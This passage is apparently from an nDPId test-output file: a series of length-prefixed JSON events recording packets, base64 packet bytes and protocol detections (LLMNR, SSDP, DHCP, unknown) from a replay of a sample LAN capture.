cmgUvMYbRwJUY2C\/aCCqQKSjPeITyHKvGmhiRLc2pk3A27QUNbDD3FBPslLYgT65ZzvTcLfwomH8I1y4QHOezZqOrwVs1I7LO8P+1m\/ZN82HV9TsWYMtZL6wbhtllR8xfiEPRav6ZNCL27EFkDtqjHJ6gMMFwDecxbxTE3H6VfxkWugr3PBCz\/OkuvQ\/WaZY1rGgJoBb4pzCyo+XgLoxuUl6Z0To1rFig4UYk7+aezP0L0OT4LL58WMcM07Zj5sE+L\/vVCGppaC+mh+MvXHshmbxTx\/4zloZT6BqVkpi\/Bcc0V\/CNGTh+YexorabMGmT0Hp0S3oKF\/6STT96XCeJL3P+6AVPXioTQmyjSDC69CdrIG3LqOQ8z+sVvtSiZU6SWsvW5eT5dFT3VX6+dwmHUzpwyxD7UALPEwyAPPqljuJtoU27108nc8d4enYCmY6+9K\/NLm3xIV0bsZMbHrp+qbzb6ccpmtIMUn1GGzG0aSbD33dTzkA2MXdVrJi3sp6c8HgbTAeAslqRO3pve53EH0\/tY2D4lOAvIeONplftojXm8rAt\/rY9ZEnN4q3nVOeFVUmLGIgyQkyg7dQe9sD3rFlrPB9aIdO3fqfJ+qvxzPtKJ96DfJpYgUl3QOKqPMZfj5xwrkojSHDvReOrZ\/kovCqgLBNQqMsWpZ20Nl6CXZ3\/1zVq1ARULxqU5vHANsbesvwdeDLHt4WusC5WImUJ0f6uraPX++2sapDHTxGcVvD9XUJCj7+kUmY1+UqPoHiFUAU4wrSeN\/LU5TfgQR8d4uexSOXfPjsBEouBHsixx\/1rnxjXL1xdsAIhejCId06mYqU2yv7H8SNOWVFditMxYwxbN6vuDv4AnTvxkfDaS9eKpnC8OIY9g1MxJQye8+fHbv7Ey2PTy9drYNv4OHPpmj4OsTEIRBCWWdn69ErS0OHQvMkUgkOQJS0uKI+yeNlrj3qW77wJGyHSpU\/uQF8yQ78SSAPyuc8v7xsFNZM4ljWEVaRZpaG0xtSNj96aInHkXqDwsYMZhGzSsZSMsRnjpG09N8a4QstzjZPukZZc5XVgQ9kkDb42wAG2R4wZPZK09D+mhXOPeysHqbaxc2ukLB7O\/ZQd+BiMnHFH7zgcREAoK8LsJtF9H0E="} +00677{"flow_id":113,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1032,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104410,"pkt_ts_usec":886207,"pkt_caplen":248,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":248,"pkt_l4_len":214,"pkt":"ABxCjnAxTF4M6gNlCABFAADqDLFAADMGEWV36+tUwKgFEAG70J5BKwMS5fLLP1AYABuHLgAA07hVuMwEKSjZQ5eqRrRKYjmNR3cUNQb9B5C7b32OypKuEAr9ZUmJSiwDzEfjnPa9rfeiVUvXHoIZv1pvQyn4IQce+NAA5xnU3FNjhf\/MelDxDrlusMGI7Nz2\/smZ+rEX13cJaDJFN5LlmwPx5xHBMoPTetyWFkboB9IAm+8CQzQq4Wu\/HSaavpzhm5HoGCs0kYvDHm58ScccC0ULN46USkkVZh9IoVk+lGvR\/e0YuitBUMasD0pyfvgp\/ePSgdJ+YGc="} +00418{"flow_id":113,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1033,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104410,"pkt_ts_usec":886225,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"TF4M6gNlYMVHBbyMCABFAAAoi+RAAEAGhfPAqAUQd+vrVNCeAbvl8ss\/QSsD1FAQHjSgHAAAVFRQLzEu"} +02396{"flow_id":113,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1034,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104410,"pkt_ts_usec":886265,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ABxCjnAxTF4M6gNlCABFAAXcDLJAADMGDHJ36+tUwKgFEAG70J5BKwPU5fLLP1AQABt+PwAAgAIAAgAAAA8AAAAfAAAadA4CAAAA\/\/8AAAAfAQAGVG0PEo+znvT4osAQ3PtDN6p44AyvEUcQuMDJDJulVfdQtU3vsm680S5h6cqyuG2Wr1yMAAzkOrJ5vL9h9qdkqR+ptOj6itnkqBEV90zX6u729T73qOzzjU\/U51F45IFbdjNVLprFFhqy4KthlL5c17zjy2iF4dlhhsWjULc9YxVXWPtM66cRKsv40FlN0GjfHrrHCK1Sxf6ZMFgDkHLfXyR37jQvzH6TxMC\/9QJ7FHAGgvP7H448eQyD90+fpCwf5MuZ1gxsybnS8S9\/QVeu\/XDd0zBhsAog48\/AVG7HrZ6pnc+Z2X+AMFKalAWwx9GG7pGBcRaYFsdVStBbejcmrh2Ue+xZ+o41jycX64syEmjSSQMNk6svXbk472ejunKCa+nfTLU13+arGMftCnivLjtttSjLnxhrL1ACOGAoLz11XVtJWwnZP1Fnb0JNu6sZGgNGzJprWqCDPzXaDz3MB32FH3S5Enl\/Wn7T3YYDbna\/1ubuEavSQrsa\/sUppKmg6neoEipKkcxpW2263Bshe1hpP\/HBtb3NlB2p+ti5AAMyRCUcI4bhWgg8lXIK\/R3\/lTgrv1mylb8YsVmTndMtBW0xCGCvcRJNfbB5tLlWgSiLzsPAb5xzOGaBNea4HcvXDrnLShCOt7rQDhTn9pkJ7MfsRpFOWs22xi9GI4ihvV8Du+F8Xc7VMHC6j69PySZjz4DxaBklqrJvboMYgH\/uhSuXiaJs7a5ddYxy6nKpkrtGpmSdr87K\/h0NcmgUvMYbRwJUY2C\/aCCqQKSjPeITyHKvGmhiRLc2pk3A27QUNbDD3FBPslLYgT65ZzvTcLfwomH8I1y4QHOezZqOrwVs1I7LO8P+1m\/ZN82HV9TsWYMtZL6wbhtllR8xfiEPRav6ZNCL27EFkDtqjHJ6gMMFwDecxbxTE3H6VfxkWugr3PBCz\/OkuvQ\/WaZY1rGgJoBb4pzCyo+XgLoxuUl6Z0To1rFig4UYk7+aezP0L0OT4LL58WMcM07Zj5sE+L\/vVCGppaC+mh+MvXHshmbxTx\/4zloZT6BqVkpi\/Bcc0V\/CNGTh+YexorabMGmT0Hp0S3oKF\/6STT96XCeJL3P+6AVPXioTQmyjSDC69CdrIG3LqOQ8z+sVvtSiZU6SWsvW5eT5dFT3VX6+dwmHUzpwyxD7UALPEwyAPPqljuJtoU27108nc8d4enYCmY6+9K\/NLm3xIV0bsZMbHrp+qbzb6ccpmtIMUn1GGzG0aSbD33dTzkA2MXdVrJi3sp6c8HgbTAeAslqRO3pve53EH0\/tY2D4lOAvIeONplftojXm8rAt\/rY9ZEnN4q3nVOeFVUmLGIgyQkyg7dQe9sD3rFlrPB9aIdO3fqfJ+qvxzPtKJ96DfJpYgUl3QOKqPMZfj5xwrkojSHDvReOrZ\/kovCqgLBNQqMsWpZ20Nl6CXZ3\/1zVq1ARULxqU5vHANsbesvwdeDLHt4WusC5WImUJ0f6uraPX++2sapDHTxGcVvD9XUJCj7+kUmY1+UqPoHiFUAU4wrSeN\/LU5TfgQR8d4uexSOXfPjsBEouBHsixx\/1rnxjXL1xdsAIhejCId06mYqU2yv7H8SNOWVFditMxYwxbN6vuDv4AnTvxkfDaS9eKpnC8OIY9g1MxJQye8+fHbv7Ey2PTy9drYNv4OHPpmj4OsTEIRBCWWdn69ErS0OHQvMkUgkOQJS0uKI+yeNlrj3qW77wJGyHSpU\/uQF8yQ78SSAPyuc8v7xsFNZM4ljWEVaRZpaG0xtSNj96aInHkXqDwsYMZhGzSsZSMsRnjpG09N8a4QstzjZPukZZc5XVgQ9kkDb42wAG2R4wZPZK09D+mhXOPeysHqbaxc2ukLB7O\/ZQd+BiMnHFH7zgcREAoK8LsJtF9H0HTuFU="} +00673{"flow_id":113,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1035,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104410,"pkt_ts_usec":886279,"pkt_caplen":245,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":245,"pkt_l4_len":211,"pkt":"ABxCjnAxTF4M6gNlCABFAADnDLNAADMGEWZ36+tUwKgFEAG70J5BKwmI5fLLP1AYABtxrAAAuMwEKSjZQ5eqRrRKYjmNR3cUNQb9B5C7b32OypKuEAr9ZUmJSiwDzEfjnPa9rfeiVUvXHoIZv1pvQyn4IQce+NAA5xnU3FNjhf\/MelDxDrlusMGI7Nz2\/smZ+rEX13cJaDJFN5LlmwPx5xHBMoPTetyWFkboB9IAm+8CQzQq4Wu\/HSaavpzhm5HoGCs0kYvDHm58ScccC0ULN46USkkVZh9IoVk+lGvR\/e0YuitBUMasD0pyfvgp\/ePSgdJ+YGc="} +00418{"flow_id":113,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1036,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104410,"pkt_ts_usec":886289,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"TF4M6gNlYMVHBbyMCABFAAAovM9AAEAGVQjAqAUQd+vrVNCeAbvl8ss\/QSsKR1AQHgGZ3AAAAAPoAAAA"} +00473{"flow_id":102,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1037,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104410,"pkt_ts_usec":914072,"pkt_caplen":98,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":98,"pkt_l4_len":44,"pkt":"MzMAAQACvO57DLPeht1gAAAAACwRAf6AAAAAAAAAvu57\/\/4Ms97\/AgAAAAAAAAAAAAAAAQACAiICIwAsew8LBzLAAAEADgABAAEa5zhrJpdxkWmjAAgAAgKoAAYABAAXABg="} +00449{"flow_id":113,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1038,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104410,"pkt_ts_usec":918036,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"TF4M6gNlYMVHBbyMCABFAABDVa9AAEAGvA3AqAUQd+vrVNCeAbvl8ss\/QSsKR1AYHgHwqQAAgAIAAQAAABMAAAAhAAAAAIAAGtSOAwAAAP\/\/"} +00417{"flow_id":113,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1041,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104411,"pkt_ts_usec":11996,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABxCjnAxTF4M6gNlCABFAAAoDLRAADMGEiR36+tUwKgFEAG70J5BKwpH5fLLWlAQABu3pwAAAAAAAAAA"} +00491{"flow_id":113,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1042,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104411,"pkt_ts_usec":12034,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":114,"pkt_l4_len":80,"pkt":"TF4M6gNlYMVHBbyMCABFAABkkeNAAEAGf7jAqAUQd+vrVNCeAbvl8staQSsKR1AYHgFx8gAAAAAAIQEAADSSwYwkgMY9zM2PtcAtvoZJ2QGUh+Rew7DZ+k4l058gYoy1DfnXM2lKDG4gHxzchk60DoC2"} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1043,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":114,"flow_packet_id":1,"flow_first_seen":1470104411018,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.10.110","dst_ip":"255.255.255.255","src_port":60480,"dst_port":62976,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00836{"flow_id":114,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1043,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104411,"pkt_ts_usec":18970,"pkt_caplen":359,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":359,"pkt_l4_len":325,"pkt":"\/\/\/\/\/\/\/\/XNmY3fXzCABFAAFZAABAAEARbn7AqApu\/\/\/\/\/+xA9gABRTgx\/\/8AAKAAXNmY3fXzwKgKbgAAAgAnAUROUy0xMTAwLTA0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABOQVMAAAAAAAAAAAAAVVqvihgAAABVWsE9WwAAAFVasDEuMDJiMTAAEXgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXNmY3fXzM0ExAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGRsaW5rLURERjVGMwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAqApu\/\/8AAExBTjEAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00418{"flow_id":113,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1044,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104411,"pkt_ts_usec":114941,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABxCjnAxTF4M6gNlCABFAAAoDLVAADMGEiN36+tUwKgFEAG70J5BKwpH5fLLllAQABu3awAAAAAAAAAA"} +00581{"flow_id":21,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1045,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104411,"pkt_ts_usec":121932,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6\/PiuMpcsCABFAAChLEgAAAER2QLAqANf7\/\/\/+uhMB2wAjbUvTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1047,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":115,"flow_packet_id":1,"flow_first_seen":1470104411327,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.37","dst_ip":"224.0.0.252","src_port":54506,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":115,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1047,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104411,"pkt_ts_usec":327542,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"AQBeAAD8CJ4BzeuNCABFAAA2U7YAAAERvzfAqAUl4AAA\/NTqFOsAIqEiFTIAAAABAAAAAAAACG5vdGVib29rAAD\/AAE="} +00507{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1047,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":115,"flow_packet_id":1,"flow_first_seen":1470104411327,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.37","dst_ip":"224.0.0.252","src_port":54506,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00582{"flow_id":56,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1048,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104411,"pkt_ts_usec":327607,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6CJ4BzeuNCABFAAChFFUAAAER7y\/AqAUl7\/\/\/+t\/tB2wAjbvITS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00431{"flow_id":115,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1054,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104411,"pkt_ts_usec":735820,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"AQBeAAD8CJ4BzeuNCABFAAA2U7cAAAERvzbAqAUl4AAA\/NTqFOsAIqEiFTIAAAABAAAAAAAACG5vdGVib29rAAD\/AAE="} +00580{"flow_id":2,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1062,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104412,"pkt_ts_usec":246763,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6GF4PUugBCABFAAChMUAAAAER0jDAqAU57\/\/\/+toBB2wAjcGgTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00812{"flow_id":4,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1063,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104412,"pkt_ts_usec":350549,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/TF4M6gNlCABFAAFIAAAAABARcfzAqHcB\/\/\/\/\/wBDAEQBNP8ZAgEGAFHQRwUAAAAAwKgFMcCoBTHAqHcBAAAAAOix\/Kv7sgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEFNgTAqHcBMwQAAAA8AQT\/\/wAAAwTAqHcBBhCoXwEBCAgICKhfwAEICAQE\/wAAAAAAAAAAAAAAAAAA"} +00580{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1064,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104412,"pkt_ts_usec":450120,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6SNIkYzEACABFAAChOxwAAAERyGHAqAUs7\/\/\/+si9B2wAjdLxTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00585{"flow_id":59,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1065,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104412,"pkt_ts_usec":552564,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/66LH8q\/uyCABFAAClCgMAAAQR9nHAqAUx7\/\/\/+sn4B2wAkYV1TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1066,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":116,"flow_packet_id":1,"flow_first_seen":1470104412556,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::9bd:81dd:2fdc:5750","dst_ip":"ff02::1:3","src_port":64568,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00471{"flow_id":116,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1066,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104412,"pkt_ts_usec":556037,"pkt_caplen":95,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":95,"pkt_l4_len":41,"pkt":"MzMAAQAD6LH8q\/uyht1gAAAAACkRAf6AAAAAAAAACb2B3S\/cV1D\/AgAAAAAAAAAAAAAAAQAD\/DgU6wAp0RQMEAAAAAEAAAAAAAAPY2Flc2FyLXRoaW5rcGFkAAD\/AAE="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1066,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":116,"flow_packet_id":1,"flow_first_seen":1470104412556,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::9bd:81dd:2fdc:5750","dst_ip":"ff02::1:3","src_port":64568,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1067,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":117,"flow_packet_id":1,"flow_first_seen":1470104412556,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.49","dst_ip":"224.0.0.252","src_port":64568,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":117,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1067,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104412,"pkt_ts_usec":556263,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"AQBeAAD86LH8q\/uyCABFAAA9eeQAAAERmPbAqAUx4AAA\/Pw4FOsAKTqNDBAAAAABAAAAAAAAD2NhZXNhci10aGlua3BhZAAA\/wAB"} +00507{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1067,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":117,"flow_packet_id":1,"flow_first_seen":1470104412556,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.49","dst_ip":"224.0.0.252","src_port":64568,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00471{"flow_id":73,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1069,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104412,"pkt_ts_usec":860139,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/PKn0WgOECABFAABOH8MAAIARlZ\/AqAPswKj\/\/wCJAIkAOqdYil8BEAABAAAAAAAAIEVKRkRFQkZFRUJGQUNBQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAE="} +00471{"flow_id":116,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1070,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104412,"pkt_ts_usec":962283,"pkt_caplen":95,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":95,"pkt_l4_len":41,"pkt":"MzMAAQAD6LH8q\/uyht1gAAAAACkRAf6AAAAAAAAACb2B3S\/cV1D\/AgAAAAAAAAAAAAAAAQAD\/DgU6wAp0RQMEAAAAAEAAAAAAAAPY2Flc2FyLXRoaW5rcGFkAAD\/AAE="} +00440{"flow_id":117,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1071,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104412,"pkt_ts_usec":962345,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"AQBeAAD86LH8q\/uyCABFAAA9eeYAAAERmPTAqAUx4AAA\/Pw4FOsAKTqNDBAAAAABAAAAAAAAD2NhZXNhci10aGlua3BhZAAA\/wAB"} +00515{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":1074,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":110,"flow_packet_id":1,"flow_first_seen":1470104408662,"flow_last_seen":0,"flow_tot_l4_data_len":337,"flow_min_l4_data_len":337,"flow_max_l4_data_len":337,"flow_avg_l4_data_len":337,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b030:214:100:c2a0:bbff:fe73:eb47","dst_ip":"ff02::1","src_port":62976,"dst_port":62976,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00501{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1074,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":110,"flow_packet_id":1,"flow_first_seen":1470104408662,"flow_last_seen":0,"flow_tot_l4_data_len":337,"flow_min_l4_data_len":337,"flow_max_l4_data_len":337,"flow_avg_l4_data_len":337,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b030:214:100:c2a0:bbff:fe73:eb47","dst_ip":"ff02::1","src_port":62976,"dst_port":62976,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":1074,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":103,"flow_packet_id":1,"flow_first_seen":1470104405794,"flow_last_seen":0,"flow_tot_l4_data_len":129,"flow_min_l4_data_len":129,"flow_max_l4_data_len":129,"flow_avg_l4_data_len":129,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.119.2","dst_ip":"255.255.255.255","src_port":43786,"dst_port":5678,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} 